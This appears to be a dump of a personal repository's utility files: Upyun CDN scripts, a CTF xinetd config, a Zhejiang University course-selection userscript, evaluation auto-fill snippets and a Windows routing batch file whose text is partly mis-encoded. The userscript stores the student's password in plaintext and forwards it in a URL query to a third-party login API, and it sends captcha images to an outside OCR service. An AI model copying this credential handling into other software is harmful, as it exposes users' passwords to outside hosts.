    "content": "import sys\r\nsys.path.append(\"../..\")\r\nimport sys, time\r\nfrom EasyLogin import EasyLogin\r\na=EasyLogin(cookiefile=\"upyun.status\")\r\n\r\ndef login(username,password):\r\n    global a\r\n    data={\"username\":username,\"password\":password}\r\n    print(\"Login...\",end=\"\")\r\n    x=a.post_json(\"https://console.upyun.com/accounts/signin/\",data,save=True)\r\n    status=(x.get(\"msg\",{}).get(\"messages\",[\"error\"])[0]==\"登录成功\")\r\n    if status:\r\n        print(\"Success\")\r\n    else:\r\n        print(\"Login Failed\")\r\n        print(x)\r\n        exit()\r\n    return status\r\n\r\ndef islogin():\r\n    global a\r\n    x=a.get(\"https://console.upyun.com/api/\",o=True)\r\n    return \"location\" not in x.headers\r\n\r\ndef purge_rule_request(urls):\r\n    \"\"\"\r\n    urls is multiple urls(must contain *) separated by '\\n'\r\n    :param urls: \"\\n\".join([url1,url2])\r\n    \"\"\"\r\n    global a\r\n    x=a.post_json(\"https://console.upyun.com/api/buckets/purge/batch/\",{\"source_url\": urls, \"nofi\": 0, \"delay\": 3600})\r\n    try:\r\n        result = [i[\"status\"] for i in x[\"data\"]]\r\n    except:\r\n        print(x)\r\n        return \"Error\"\r\n    return result\r\n\r\ndef https_domain_list(inuseonly=True, selfonly=True, detail=True):\r\n    global a\r\n    data = a.get(\"https://console.upyun.com/api/https/certificate/list/?limit=50\", o=True).json()[\"data\"][\"result\"]\r\n    x = {}\r\n    currenttime = int(time.time())\r\n    for id, item in data.items():\r\n        if id==\"default\":\r\n            continue\r\n        item[\"expired\"] = currenttime > item[\"validity\"][\"end\"]/1000\r\n        item[\"expiredin\"] = int((item[\"validity\"][\"end\"]/1000 - currenttime)/86400)\r\n        if selfonly and item[\"brand\"]!=\"\" and not item[\"expired\"]:\r\n            continue\r\n        if (inuseonly and item['config_domain']>0) or (not inuseonly):\r\n            x[id] = item\r\n    if detail:\r\n        for id,item in x.items():\r\n            item[\"domains\"] = a.get(\"https://console.upyun.com/api/https/certificate/manager/?certificate_id=\"+id, o=True).json()[\"data\"][\"domains\"]\r\n    return x\r\n\r\ndef need_renew_list():\r\n    # {\"domain_name\": \"id\"}\r\n    data = https_domain_list(inuseonly=True, selfonly=True, detail=True)\r\n    res = {}\r\n    for id, item in data.items():\r\n        if item[\"expiredin\"]<30:\r\n            for d in item[\"domains\"]:\r\n                if d.get(\"https\", False):\r\n                    res[d['name']] = id\r\n    return res\r\n\r\ndef add_certificate(cert):\r\n    global a\r\n    data = a.post_json(\"https://console.upyun.com/api/https/certificate/\", cert)\r\n    assert data[\"data\"][\"status\"]==0\r\n    return data[\"data\"][\"result\"]\r\n\r\ndef migrate_certificate(oldid, newid):\r\n    global a\r\n    data = a.post_json(\"https://console.upyun.com/api/https/migrate/certificate\", {\"old_crt_id\":oldid, \"new_crt_id\":newid})\r\n    return data[\"data\"][\"result\"]\r\n\r\ndef renew(api_func, data):\r\n    # api_func(domain_name): return {\"certificate\":\"-----BEGIN CERTIFICATE-----\\n...\", \"private_key\":\"-----BEGIN RSA PRIVATE KEY-----\\n...\"}\r\n    # api_func can also return False\r\n    handled = set()\r\n    currenttime = int(time.time())\r\n    for domain, id in data.items():\r\n        if id in handled:\r\n            continue\r\n        cert = api_func(domain)\r\n        if not cert:\r\n            continue\r\n        newcert_result = add_certificate(cert)\r\n        newid = newcert_result[\"certificate_id\"]\r\n        print(\"get new cert for {commonName}, expiredin: {expiredin}, id: {newid}\".format(newid=newid, commonName=newcert_result[\"commonName\"], expiredin=int((newcert_result[\"validity\"][\"end\"]/1000 - currenttime)/86400)))\r\n        if migrate_certificate(id, newid):\r\n            print(\"migrate success\")\r\n            handled.add(id)\r\n        else:\r\n            print(\"migrate failed\")\r\n        \r\n\r\nif __name__==\"__main__\":\r\n    from pprint import pprint\r\n    try:\r\n        import config\r\n        config.USERNAME\r\n        config.PASSWORD\r\n    except:\r\n        print(\"Please write your USERNAME and PASSWORD in config.py\")\r\n        exit(1)\r\n    if len(sys.argv)==1:\r\n        print(\"Available subcommands:\\n  purge\\n  https\")\r\n        exit(1)\r\n    if not islogin():\r\n        login(config.USERNAME,config.PASSWORD)\r\n    if sys.argv[1] == \"https\":\r\n            if sys.argv[2] in [\"show\", \"list\", \"ls\"]:\r\n                pprint(https_domain_list())\r\n            elif sys.argv[2] == \"expired\":\r\n                pprint(need_renew_list())\r\n            elif sys.argv[2] == \"renew\":\r\n                from config import renew_api\r\n                renew(renew_api, need_renew_list())\r\n    else:\r\n        if sys.argv[1]!=\"purge\":\r\n            sys.argv.insert(1, \"purge\") # for backward compatibility\r\n        if len(sys.argv)<3:\r\n            print(\"Example: python3 upyun.py purge https://py3.io/*\")\r\n            print(\"Or you can: python3 upyun.py purge https://py3.io/@.html, @ stands for *\")\r\n        else:\r\n            # you can pass @ instead of *\r\n            urls = \"\\n\".join(sys.argv[2:]).replace(\"@\", \"*\")\r\n            print(purge_rule_request(urls))\r\n    "
  },
  {
    "path": "docs/code/upyun_purge.py",
    "content": "import datetime\r\nimport requests\r\nimport hashlib\r\n\r\ndef md5(src):\r\n    return hashlib.md5(bytes(src,encoding=\"utf-8\")).hexdigest()\r\n\r\ndef purge_api_request(URLS,BucketName,OperatorName,OperatorPassword):\r\n    urls=\"\\n\".join(URLS)\r\n    Time=datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT')\r\n    sign=md5(\"%s&%s&%s&%s\"%(urls,BucketName,Time,md5(OperatorPassword)))\r\n    Auth=\"UpYun %s:%s:%s\"%(BucketName,OperatorName,sign)\r\n    headers={\"Authorization\":Auth,\"Date\":Time}\r\n    #print(\"\"\"curl -X POST http://purge.upyun.com/purge/  -H \"Authorization: %s\" -H \"Date: %s\" -F purge=\"%s\" \"\"\"%(Auth,Time,urls))\r\n    x=requests.post(\"http://purge.upyun.com/purge/\",headers=headers,files={\"purge\":\"%s\"%urls})\r\n    return x.json()\r\n\r\nif __name__==\"__main__\":\r\n    from config import *\r\n    print(purge_api_request(URLS,BucketName,OperatorName,OperatorPassword))"
  },
  {
    "path": "docs/code/xinetd-ctf.conf",
    "content": "#注意/data/run要chmod +x，换行一定要去除\\r\nservice ctf\n{\n    disable = no\n    socket_type = stream\n    protocol    = tcp\n    wait        = no\n    user        = ctf\n    bind        = 0.0.0.0\n    server      = /data/run\n    type        = UNLISTED\n    port        = 9999\n    killafter = 60\n    seccomp_whitelist = 0 1 2 3 5 9 10 11 12 13 14 16 21 23 35 56 59 97 158 202 218 231 273\n}\n"
  },
  {
    "path": "docs/code/zju_grs_helper.user.js",
    "content": "// ==UserScript==\r\n// @name         ZJU研究生选课助手\r\n// @namespace    http://grs.zju.edu.cn\r\n// @version      0.9\r\n// @description  在“全校开课情况查询”页面可以进入选课；整合查老师分数与评论显示；支持只显示特定校区课程；登录页面验证码自动识别；跳过验证码自动登录；自动课程评价\r\n// @author       zjuchenyuan\r\n// @match        http://grs.zju.edu.cn/*\r\n// @match        https://grs.zju.edu.cn/*\r\n// @grant        GM_xmlhttpRequest\r\n// @grant        GM_setValue\r\n// @grant        GM_getValue\r\n// @connect *\r\n// ==/UserScript==\r\nvar CONFIG_XQ=null; //配置校区\r\n//var CONFIG_XQ = \"玉泉\"\r\n// 例如将上一行取消注释则表示只显示玉泉校区的课程\r\n\r\nvar bheight = unsafeWindow.bheight;\r\nvar $ = unsafeWindow.$;\r\nvar Path = unsafeWindow.Path;\r\nfunction xk(id){ //在全校开课查询页面进入选课\r\n    console.log(id);\r\n    $.get(\"xkkcss.htm?kcbh=\"+id.slice(0, -3)+\"&kcSearch=%E6%9F%A5%E8%AF%A2\", null ,function(data){\r\n        //console.log(data);\r\n        //搜索课程Id\r\n        var re = /kcId=([^\"]+)/g;\r\n        var kcid = re.exec(data)[1];\r\n        console.log(kcid);\r\n        $.dialog({\r\n            fixed:true,\r\n            lock: true,\r\n            max: false,\r\n            width: \"1050px\",\r\n            height: bheight,\r\n            title:$.i18n.prop(\"Cultivation_BJCY\"),\r\n            content: \"url:\" +Path.getPath()+\"xkbjxxWindow.htm?kcId=\"+kcid\r\n        });\r\n    });\r\n}\r\nunsafeWindow.xk = exportFunction(xk, unsafeWindow);\r\n\r\nfunction run(){\r\n    for(var td of document.querySelectorAll(\"#lssjCxdcForm > table > tbody > tr > td:nth-child(3)\")){\r\n        if(!/<a/.test(td.innerHTML)){\r\n            var id = td.innerText;\r\n            td.innerHTML = \"<a onclick='xk(\\\"\"+id+\"\\\")'>\"+id+\"</a>\"\r\n        }\r\n    }\r\n}\r\n\r\nvar teacher_cache = {};\r\n\r\nfunction re_findall(regex, text){\r\n    var matches = new Array();\r\n    var match;\r\n    while((match = regex.exec(text)) !== null){\r\n        matches.push(match[1]);\r\n    }\r\n    return matches;\r\n}\r\n\r\nfunction chalaoshi_search(teacher_name, callback, td){ //搜索查老师\r\n    if(typeof(teacher_cache[teacher_name])!==\"undefined\") return callback(td, teacher_cache[teacher_name][0], teacher_cache[teacher_name][1], teacher_cache[teacher_name][2]);\r\n    console.log(\"chalaoshi_search\", teacher_name);\r\n    GM_xmlhttpRequest({\r\n        url:\"https://chalaoshi.qiushi.ac.cn/search?q=\"+encodeURIComponent(teacher_name),\r\n        method:\"GET\",\r\n        onload: function (response){\r\n            var html = response.responseText;\r\n            var ids = re_findall(/t\\/(\\d+)\\//g, html);\r\n            var scores = re_findall(/<h2>([^<]+)<\\/h2>/g, html);\r\n            var names = re_findall(/<h3>([^<]+)<\\/h3>/g, html);\r\n            callback(td, ids, scores, names);\r\n            teacher_cache[teacher_name] = [ids, scores, names];\r\n        }\r\n    })\r\n}\r\n\r\nfunction chalaoshi_page_extract(div, selector){\r\n    var tmp = div.querySelector(selector);\r\n    if(!tmp) return \"\";\r\n    return tmp.innerText.trim().replace(/ /g,\"\");\r\n}\r\n\r\nfunction show_chalaoshi_page(id){ //显示查老师信息，获取基本信息及评论第一页显示\r\n    GM_xmlhttpRequest({\r\n        url:\"https://chalaoshi.qiushi.ac.cn/t/\"+id+\"/\",\r\n        method:\"GET\",\r\n        onload: function (response){\r\n            var html = response.responseText;\r\n            var div=document.createElement(\"div\")\r\n            div.innerHTML = html;\r\n            var left = chalaoshi_page_extract(div, \"div.left\");\r\n            var right = chalaoshi_page_extract(div, \"div.right\");\r\n            var average_gpa = chalaoshi_page_extract(div, \"div.main > div:nth-child(2) > div\").replace(/\\n\\n/g,\"\\n\").replace(/\\n\\n/g,\"\\n\");\r\n            GM_xmlhttpRequest({\r\n                url: \"https://chalaoshi.qiushi.ac.cn/teacher/\"+id+\"/comment_list?page=0&order_by=rate\",\r\n                method:\"GET\",\r\n                onload: function (response){\r\n                    var tmp = response.responseText;\r\n                    var html;\r\n                    if(tmp){\r\n                        html = tmp.replace(/class=\"hidden\"/g,\"\").replace(/>举报</g,\"><\");\r\n                    }else{\r\n                        html = \"no comments\";\r\n                    }\r\n                    var api = frameElement.api, W = api.opener;\r\n                    W.$.dialog({\r\n                        lock: true,\r\n                        max: true,\r\n                        parent: api,\r\n                        width:800 ,\r\n                        title:null,\r\n                        content: \"<pre>\"+left+\"\\n\\n\"+right+\"\\n\\n\"+average_gpa+\"</pre><div style='padding-left:30px'>\"+html+\"</div>\",\r\n                    });\r\n                }\r\n            });\r\n        }\r\n    })\r\n}\r\n\r\nunsafeWindow.show_chalaoshi_page = exportFunction(show_chalaoshi_page, unsafeWindow);\r\n\r\nfunction callback_modify_teacher_td(td, ids, scores, names){\r\n    var r = td.innerText;\r\n    for(var i=0; i<ids.length; i++){\r\n        if(names[i]!=td.innerText) continue;\r\n        r += \"<a onclick='show_chalaoshi_page(\"+ids[i]+\")'>\"+scores[i]+\"</a>&nbsp;\";\r\n    }\r\n    td.innerHTML = r;\r\n}\r\n\r\nfunction test_chalaoshi(){\r\n    for(var td of document.querySelectorAll(\"#classTable > tbody > tr > td:nth-child(3)\")){\r\n        if(/<a/.test(td.innerHTML)) continue;\r\n        chalaoshi_search(td.innerText, callback_modify_teacher_td, td);\r\n    }\r\n}\r\n\r\n/* 验证码识别模块CAPTCHA_RECOGNIZE 配置项如下\r\n * ENDPOINT: api地址\r\n * IMG_SELECTOR: 验证码图片selector\r\n * CAPTCHA_INPUT: 验证码识别后填入的input标签selector\r\n */\r\n\r\nvar CONFIG_CAPTCHA = {\r\n    \"ENDPOINT\": \"https://api.py3.io/ocr\",\r\n    \"IMG_SELECTOR\": \"#yzmImg\",\r\n    \"CAPTCHA_INPUT\": \"#authcode\",\r\n    \"ALLOW_RETRY\": 3,\r\n}\r\n\r\nfunction getBase64Image(img) {\r\n    var canvas = document.createElement(\"canvas\");\r\n    canvas.width = img.naturalWidth;\r\n    canvas.height = img.naturalHeight;\r\n    var ctx = canvas.getContext(\"2d\");\r\n    ctx.drawImage(img, 0, 0);\r\n    var dataURL = canvas.toDataURL(\"image/png\");\r\n    return dataURL.replace(/^data:image\\/(png|jpg);base64,/, \"\");\r\n}\r\n\r\nfunction logimage(url){\r\n  var image = new Image();\r\n  image.onload = function() {\r\n    var style = [\r\n      'font-size: 1px;',\r\n      'line-height: ' + this.height + 'px;',\r\n      'padding: ' + this.height * .5 + 'px ' + this.width * .5 + 'px;',\r\n      'background-size: ' + this.width + 'px ' + this.height + 'px;',\r\n      'background: url('+ url +');'\r\n     ].join(' ');\r\n     console.log('%c ', style);\r\n  };\r\n  image.src = url;\r\n}\r\n\r\nfunction work(img){\r\n    var postdata = getBase64Image(img);\r\n    GM_xmlhttpRequest({\r\n        method:\"POST\",\r\n        url:CONFIG_CAPTCHA[\"ENDPOINT\"],\r\n        data: \"img=\"+encodeURIComponent(postdata),\r\n        headers: {\"Content-Type\": \"application/x-www-form-urlencoded; charset=UTF-8\"},\r\n        responseType:\"json\",\r\n        onload: function (response) {\r\n            var data = JSON.parse(response.responseText);\r\n            logimage(\"data:image/png;base64,\"+postdata);\r\n            console.log(\"captcha recognize:\",data);\r\n            if(data[0].length==4 && data[1][0]>40){\r\n                document.querySelector(CONFIG_CAPTCHA[\"CAPTCHA_INPUT\"]).value= data[0];\r\n            }else{\r\n                if(CONFIG_CAPTCHA.ALLOW_RETRY>0){\r\n                    img.click();\r\n                    CONFIG_CAPTCHA.ALLOW_RETRY --;\r\n                }\r\n            }\r\n        }\r\n    });\r\n    document.forms[0].onsubmit=function(){\r\n        GM_setValue(\"xh\", document.querySelector(\"#username\").value);\r\n        GM_setValue(\"pwd\", document.querySelector(\"#password\").value);\r\n    }\r\n}\r\n\r\nfunction onchange(){\r\n    setTimeout(work, 100, this);\r\n}\r\n\r\nfunction wait(callback){\r\n    var img = document.querySelector(CONFIG_CAPTCHA[\"IMG_SELECTOR\"]);\r\n    if(img==null){\r\n        setTimeout(wait, 500, callback);\r\n    }else{\r\n        img.addEventListener(\"click\", onchange);\r\n        setTimeout(callback, 100, img);\r\n    }\r\n}\r\n\r\nfunction getXY(callback){\r\n    if(localStorage.getItem(\"xy\")) return callback(localStorage.getItem(\"xy\"));\r\n    $.get(\"/gl/page/student/studentBaseTwo.htm\",null,function(html){\r\n        var result = html.split(\"学院</dt>\")[1].split(\"</p>\")[0].replace('<p class=\"ml10 content w300 detail\">','').replace(/&nbsp;/g,'').trim();\r\n        localStorage.setItem(\"xy\", result);\r\n        callback(result);\r\n    })\r\n}\r\n\r\nfunction lnsjCxdc(){\r\n    var form = document.forms, i=form.length-1;\r\n    for(; i>=0; i--) {\r\n        if(/post/i.test(form[i].method)) form[i].action += \"#method-post\";\r\n    }\r\n    var is_post = location.hash.indexOf(\"#method-post\") != -1;\r\n    if(!is_post){\r\n        document.querySelector(\"#kkxn_chzn > ul > li\").insertAdjacentHTML('beforeBegin', '<li class=\"search-choice\" id=\"kkxn_chzn_c_24\"><span>2018</span></li>');\r\n        var theyear = new Date().getFullYear();\r\n        var xueqi = 12; //秋冬学期\r\n        $(\"#kckkxj_chzn > a > span\").text(\"秋冬学期\");\r\n        if(new Date().getMonth()<6) {\r\n            theyear--;\r\n            xueqi = 11; //春夏\r\n            $(\"#kckkxj_chzn > a > span\").text(\"春夏学期\");\r\n        }\r\n        $(\"[name='kkxn']\")[0].insertAdjacentHTML('afterBegin', '<option value=\"'+theyear+'\" selected=\"\">'+theyear+'</option>');\r\n        $(\"#kckkxj>option\").attr(\"selected\",false)\r\n        $(\"#kckkxj>option[value=\"+xueqi+\"]\").attr(\"selected\",true);\r\n        getXY(function(xy){\r\n            $(\"#kkyx>option\").attr(\"selected\",false);\r\n            var temp=$(\"#kkyx>option\").filter(function(){return $(this).text()==xy});\r\n            if(temp.length){\r\n                temp.attr(\"selected\", true);\r\n                $(\"#kkyx_chzn > a > span\").text(xy);\r\n                $.changePage('search')\r\n            }\r\n        });\r\n    }\r\n}\r\n\r\nfunction quicklogin(xh,password){\r\n    GM_xmlhttpRequest({\r\n        method:\"GET\",\r\n        url:\"https://m.zjuqsc.com/api/v2/jw_grs/validate?stuid=\"+encodeURIComponent(xh)+\"&pwd=\"+encodeURIComponent(password)+\"&from=qsc_mobile_android\",\r\n        responseType:\"json\",\r\n        onload: function (response) {\r\n            var data = JSON.parse(response.responseText);\r\n            console.log(data);\r\n            if(data.cli_cookie && data.cli_cookie.split(\"CASTGC=\")[1]){\r\n                document.cookie = 'CASTGC=; expires=Thu, 01 Jan 1970 00:00:01 GMT;';\r\n                document.cookie = 'wsess=; expires=Thu, 01 Jan 1970 00:00:01 GMT;';\r\n                document.cookie = 'JSESSIONID=;path=/cas; expires=Thu, 01 Jan 1970 00:00:01 GMT;';\r\n                document.cookie = \"CASTGC=\"+data.cli_cookie.split(\"CASTGC=\")[1].split(\";\")[0];\r\n                console.log(\"quick login success for \"+xh);\r\n                document.querySelector(\"#content > div:nth-child(2) > p:nth-child(1)\").innerText=\"[grs_helper] 自动登录成功: \"+xh;\r\n                document.querySelector(\"#content > div:nth-child(2) > blockquote > p:nth-child(1) > a\").href=\"http://grs.zju.edu.cn/py/page/student/grkcb.htm\"; //直接进入课表页面\r\n            }else{\r\n                document.querySelector(\"#content > div:nth-child(2) > p:nth-child(1)\").innerText=\"[grs_helper] sorry 自动登录失败\";\r\n            }\r\n        }\r\n    });\r\n}\r\n\r\n(function() {\r\n    'use strict';\r\n\r\n    if(document.location.pathname==\"/py/page/student/lnsjCxdc.htm\") setInterval(run,1000);\r\n    else if(document.location.pathname==\"/py/page/student/xkbjxxWindow.htm\") {\r\n        for(var note of document.querySelectorAll(\"#classTable > tbody > tr > td:nth-child(7)\")){if(/非全日制/.test(note.innerText)||/MBA/.test(note.innerText)||/MPA/.test(note.innerText)) note.parentNode.remove()}\r\n        if(typeof(CONFIG_XQ)!=\"undefined\" && CONFIG_XQ && CONFIG_XQ!=\"null\") for(var xq of document.querySelectorAll(\"#classTable > tbody > tr > td:nth-child(6)\")){if(xq.innerText!=CONFIG_XQ) xq.parentNode.remove()}\r\n        test_chalaoshi();\r\n    }\r\n    var header = document.getElementsByClassName(\"grs-header-wrap\")[0];\r\n    if(typeof(header)!=\"undefined\") header.addEventListener('mouseover',function(e) {e.stopImmediatePropagation(); e.stopPropagation(); }, true);\r\n    if(document.location.pathname==\"/cas/login\"){ //登录页面识别验证码\r\n        wait(work);\r\n    }else if(document.location.pathname==\"/py/page/student/lnsjCxdc.htm\"){\r\n        lnsjCxdc();\r\n    }else if(document.location.pathname==\"/grsinfo.html\"){//登录前页面 自动登录\r\n        if(GM_getValue(\"xh\")) {\r\n            document.querySelector(\"#content > div:nth-child(2) > p:nth-child(1)\").innerText=\"[grs_helper] 正在为您自动登录...\";\r\n            quicklogin(GM_getValue(\"xh\"),GM_getValue(\"pwd\"));\r\n        }\r\n    }else if(document.location.pathname==\"/py/page/student/jxzlpj.htm\"){\r\n        $(\"input[type=hidden][value=]\").each(function(_,x){x.value=4});\r\n        $(\"input[type=radio]\").each((_,x)=>x.click());\r\n    }\r\n})();\r\n\r\n"
  },
  {
    "path": "docs/code/浙大教务网自动评教.txt",
    "content": "//又到了评价老师和助教的时候了，不评教就不能看课表，好烦呢~\r\n//在浏览器开发人员工具(按F12调出)的Console中复制粘贴以下代码即可全部选上非常满意，自动切换到下一位老师\r\n\r\nif (typeof(RadioButtonList1_0) != 'undefined') RadioButtonList1_0.checked=true;\r\nif (typeof(RadioButtonList2_0) != 'undefined') RadioButtonList2_0.checked=true;\r\nif (typeof(DataGrid1__ctl1_RadioButtonList3_0) != 'undefined') DataGrid1__ctl1_RadioButtonList3_0.checked=true;\r\nif (typeof(DataGrid1__ctl2_RadioButtonList3_0) != 'undefined') DataGrid1__ctl2_RadioButtonList3_0.checked=true;\r\nif (typeof(DataGrid1__ctl3_RadioButtonList3_0) != 'undefined') DataGrid1__ctl3_RadioButtonList3_0.checked=true;\r\nif (typeof(DataGrid1__ctl4_RadioButtonList3_0) != 'undefined') DataGrid1__ctl4_RadioButtonList3_0.checked=true;\r\nif (typeof(DataGrid1__ctl5_RadioButtonList3_0) != 'undefined') DataGrid1__ctl5_RadioButtonList3_0.checked=true;\r\nif (typeof(DataGrid1__ctl6_RadioButtonList3_0) != 'undefined') DataGrid1__ctl6_RadioButtonList3_0.checked=true;\r\nif (typeof(DataGrid1__ctl7_RadioButtonList3_0) != 'undefined') DataGrid1__ctl7_RadioButtonList3_0.checked=true;\r\nif (typeof(DataGrid1__ctl8_RadioButtonList3_0) != 'undefined') DataGrid1__ctl8_RadioButtonList3_0.checked=true;\r\nif (typeof(DataGrid1__ctl9_RadioButtonList3_0) != 'undefined') DataGrid1__ctl9_RadioButtonList3_0.checked=true;\r\nif (typeof(DataGrid1__ctl10_RadioButtonList3_0) != 'undefined') DataGrid1__ctl10_RadioButtonList3_0.checked=true;\r\nif (typeof(DataGrid1__ctl11_RadioButtonList3_0) != 'undefined') DataGrid1__ctl11_RadioButtonList3_0.checked=true;\r\nif (typeof(DataGrid1__ctl12_RadioButtonList3_0) != 'undefined') DataGrid1__ctl12_RadioButtonList3_0.checked=true;\r\nif (typeof(DataGrid1__ctl13_RadioButtonList3_0) != 'undefined') DataGrid1__ctl13_RadioButtonList3_0.checked=true;\r\nif (typeof(DataGrid1__ctl14_RadioButtonList3_0) != 'undefined') DataGrid1__ctl14_RadioButtonList3_0.checked=true;\r\nif (typeof(DataGrid1__ctl15_RadioButtonList3_0) != 'undefined') DataGrid1__ctl15_RadioButtonList3_0.checked=true;\r\nif (typeof(RadioButtonList4_0) != 'undefined') RadioButtonList4_0.checked=true;\r\nButton1.click();\r\n//删除最后一行可以不自动点击\"Button1\"，就是不自动触发“保存”按钮事件；改为Button2就是”提交\""
  },
  {
    "path": "docs/code/读fasta文件.py",
    "content": "#coding:utf-8\r\nname = None\r\nfasta = None\r\n\r\ntry:\r\n    raw_input \r\nexcept:\r\n    raw_input = input #兼容PY3\r\n    \r\ndef handle(name,fasta):\r\n    pass#To Be Impletement Here\r\n\r\nwhile True:\r\n    try:\r\n        line=raw_input().replace(\"\\r\",\"\")\r\n    except EOFError:\r\n        handle(name,fasta)\r\n        break\r\n    if len(line)==0:\r\n        continue\r\n    if line[0]=='>':\r\n        if name is not None:\r\n            handle(name,fasta)\r\n        name=line[1:]\r\n        fasta=\"\"\r\n    else:\r\n        fasta+=line\r\n"
  },
  {
    "path": "docs/code/静态路由设置.bat",
    "content": "@echo off&setlocal enabledelayedexpansion \r\ncls\r\n:: code by shuishui\r\ncolor 0a\r\ntitle \r\nmode con COLS=80 LINES=36\r\n:menu\r\ncls\r\nECHO.\r\nECHO                       + -- +\r\nECHO                     +      +\r\nECHO                        +-shuishui-+\r\nECHO  -------------------------------------------------------------------------\r\necho   [1]. þ̬·    [2]. ȡ̬·    [3]. IP    [0 ]. ˳ \r\nECHO  -------------------------------------------------------------------------\r\nECHO.\r\nECHO  ʾVistaԺĲϵͳҼѡùԱ!\r\nECHO. \r\n\r\n:menu2\r\nSET cho2=\r\nSET /p cho2= ѡ:\r\necho.\r\n\r\nif /i \"%cho2%\"==\"0\" (\r\necho.^>^>^>^>^>^>^>^>^>^>^>^>^>[RETURN]^<^<^<^<^<^<^<^<^<^<^<\r\ngoto end\r\n)\r\n\r\nSET orderIP=ipv4\r\nnetsh interface ipv4 show config>nul 2>nul || SET orderIP=ip\r\n\r\nif /i \"%cho2%\"==\"3\" (\r\necho.^>^>^>^>^>^>^>^>^>^>^>^>^>^>^>^>[ %cho2%]^<^<^<^<^<^<^<^<^<^<^<^<^<^<\r\n@REM \"Ethernet adapter\"\r\nset orderID=%cho2%\r\nset uip= &set /a numb=0&set /a uipnum=0\r\nfor /f \"usebackq delims=: tokens=1\" %%a in (`\"ipconfig | find \"Ethernet adapter\"\"`) do (\r\ncall set uip=%%uip%%\"%%a\" \r\ncall set /a uipnum=%%uipnum%%+1\r\ncall echo %%uipnum%%. %%a\r\n)\r\ncall set uip=%%uip:Ethernet adapter =%%\r\ncall :cchoice70\r\ncall :cchoice71 %%uip%%\r\necho.[%cho2%]\r\necho.\r\n)\r\nif /i \"%cho2%\"==\"1\" (\r\necho.^>^>^>^>^>^>^>^>^>^>^>^>^>^>^>^>[ %cho2%]^<^<^<^<^<^<^<^<^<^<^<^<^<^<\r\nset orderID=%cho2%\r\nset uip= &set uip1=&set /a uipnum=0&set /a numb=0\r\n@REM \"Ethernet adapter\"\"Default Gateway\"\r\nfor /f \"usebackq tokens=1 delims=:\" %%a in (`\"ipconfig | find \"Ethernet adapter\"\"`) do (\r\ncall set uip=%%uip%%\"%%a\" \r\n)\r\ncall set uip=%%uip:Ethernet adapter =%%\r\ncall :cchoice70 \"00\" 01\r\ncall :cchoice70\r\ncall :cchoice71 %%uip%%\r\necho.[%cho2%]\r\necho.\r\n)\r\nif /i \"%cho2%\"==\"2\" (\r\necho.^>^>^>^>^>^>^>^>^>^>^>^>^>^>^>^>[%cho2%]^<^<^<^<^<^<^<^<^<^<^<^<^<^<\r\nrem ???????????????????????????????????????????????????\r\nroute delete 10.0.0.0\r\nroute delete 210.32.0.0\r\nroute delete 210.32.128.0\r\nroute delete 222.205.0.0\r\necho.[%cho2%]\r\necho.\r\n)\r\n\r\necho.^>^>^>^>^>^>^>^>^>^>^>^>^>^>^>[END]^<^<^<^<^<^<^<^<^<^<^<^<^<\r\ngoto menu2\r\n\r\n:cchoice70\r\nset uip1= \r\nif /i \"%2\"==\"01\" (\r\nif /i \"%orderID%\"==\"1\" (\r\nfor %%a in (%uip%) do (\r\nfor /f \"usebackq tokens=3\" %%i in (`\"netsh interface %orderIP% show config %%a | find \"Default Gateway:\"\"`) do (\r\ncall set uip1=%%uip1%%%%i \r\ncall set /a uipnum=%%uipnum%%+1\r\ncall echo %%uipnum%%. %%a\r\necho.   \"Default Gateway\":%%i\r\n))))\r\nif /i \"%2\"==\"01\" (\r\nif /i \"%orderID%\"==\"1\" (\r\nif /i %uipnum% EQU 0 (\r\nfor %%a in (%uip%) do (\r\nfor /f \"usebackq tokens=2\" %%i in (`\"netsh interface %orderIP% show config %%a | find \"Ĭ:\"\"`) do (\r\ncall set uip1=%%uip1%%%%i \r\ncall set /a uipnum=%%uipnum%%+1\r\ncall echo %%uipnum%%. %%a\r\necho.   \"Ĭ\":%%i\r\n)))\r\ncall set uip=%%uip1%%\r\ngoto end\r\n))\r\nif /i %uipnum% EQU 0 (\r\nfor /f \"usebackq tokens=1 delims=:\" %%a in (`\"ipconfig | find \"̫\"\"`) do (\r\ncall set uip=%%uip%%\"%%a\" \r\nif /i \"%orderID%\"==\"3\" (\r\ncall set /a uipnum=%%uipnum%%+1\r\ncall echo %%uipnum%%. %%a\r\n)))\r\nset uip=%uip:̫ =%\r\nif /i %uipnum% EQU 0 (\r\nif /i \"%orderID%\"==\"1\" (\r\nfor %%a in (%uip%) do (\r\nfor /f \"usebackq tokens=2\" %%i in (`\"netsh interface %orderIP% show config %%a | find \"Ĭ:\"\"`) do (\r\ncall set uip1=%%uip1%%%%i \r\ncall set /a uipnum=%%uipnum%%+1\r\ncall echo %%uipnum%%. %%a\r\necho.   \"Ĭ\":%%i\r\n))\r\ncall set uip=%%uip1%%\r\n))\r\ngoto end\r\n\r\n:cchoice71\r\nif %uipnum% LSS 1 echo.ûҵӿڣ&goto end\r\nif %uipnum% GTR 1 (\r\necho.&echo.   ҪõĽӿڵ,˳Q\r\nset /p numb=   :\r\n) else (set numb=1)\r\nif /i \"%numb%\"==\"Q\" goto end\r\nif %numb% LSS 1 (echo.^<1Ч&goto cchoice71)\r\nif %numb% LEQ 9 (\r\nif %numb% LEQ %uipnum% (\r\ncall set uip=%%%numb%%\r\n) else (echo.^>=%uipnum%Ч&goto cchoice71)\r\n) else (echo.^>=9Ч&goto cchoice71)\r\nif /i \"%orderID%\"==\"1\" (\r\nroute -4 -p add 10.0.0.0  mask 255.0.0.0 %uip% 2>nul || ^\r\nroute -p add 10.0.0.0  mask 255.0.0.0  %uip% >nul\r\nroute -4 -p add 210.32.0.0 mask 255.255.240.0 %uip% 2>nul  || ^\r\nroute -p add 210.32.0.0  mask 255.255.240.0  %uip% >nul\r\nroute -4 -p add 210.32.128.0 mask 255.255.192.0 %uip% 2>nul || ^\r\nroute -p add 210.32.128.0  mask 255.255.192.0  %uip% >nul\r\nroute -4 -p add 222.205.0.0 mask 255.255.128.0 %uip% 2>nul  || ^\r\nroute -p add 222.205.0.0  mask 255.255.128.0  %uip% >nul\r\ngoto end)\r\n\r\nset myip=\r\nset mygateway=\r\nset mydns=10.10.0.21\r\necho.&echo.   ҪIP\r\nset /p myip=   :\r\necho.   Ҫ\r\nset /p mygateway=   :\r\necho.   ҪDNS\r\nset /p mydns=   :\r\n\r\nif /i \"%orderID%\"==\"3\" (\r\nsc start dhcp >nul 2>nul\r\nnetsh interface ip set address name=%uip% source=static addr^\r\n=%myip% mask=255.255.255.0 